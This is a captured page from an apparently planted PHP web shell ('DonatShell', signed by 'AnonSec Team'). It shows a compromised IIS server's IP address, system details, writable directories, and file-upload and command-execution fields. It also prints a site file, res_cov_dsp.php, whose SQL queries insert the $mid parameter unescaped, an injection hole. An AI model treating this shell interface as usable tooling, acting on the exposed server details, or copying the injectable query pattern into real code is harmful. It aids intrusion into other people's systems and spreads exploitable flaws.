DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/inc/res_cov_dsp.php
<?
function res_cov_dsp($mid,$tags="no",$width=100,$reflect="no") {
	global $dcrURL;
	$res="";
	if ($tags=="no") {
		$tags=tmq("select * from media where id='$mid' ");
		$tags=tmq_fetch_array($tags);
	}

	$cov=tmq("select * from media_ftitems where mid='$mid' and fttype='cover' order by text limit 1");
	if (tmq_num_rows($cov)!=0) {
	  $covr=mysql_fetch_array($cov);
		if($covr[uploadtype]=="url") {
			$covurl=$covr[filename];
		} else {
			$covurl="$dcrURL/_fulltext/$covr[fttype]/$covr[mid]/$covr[filename]";
		}
		$res .= "<img src='$covurl' border=1 style='border-color:black; float: left;' width=$width hspace=0 vspace=0";
		if ($reflect=="yes") { 
			$res.=" class='reflect' ";
		}
		$res.=">";
	} else {
		$covinfo=get_coverbyinfo($tags,"style='float: left;' width=$width hspace=3 vspace=0 noclass='reflect' ");
		if ($covinfo[ispass]=="yes") {
			$res .=  $covinfo[html];
		}
	}
	return $res;
}
?>

Anon7 - 2022
AnonSec Team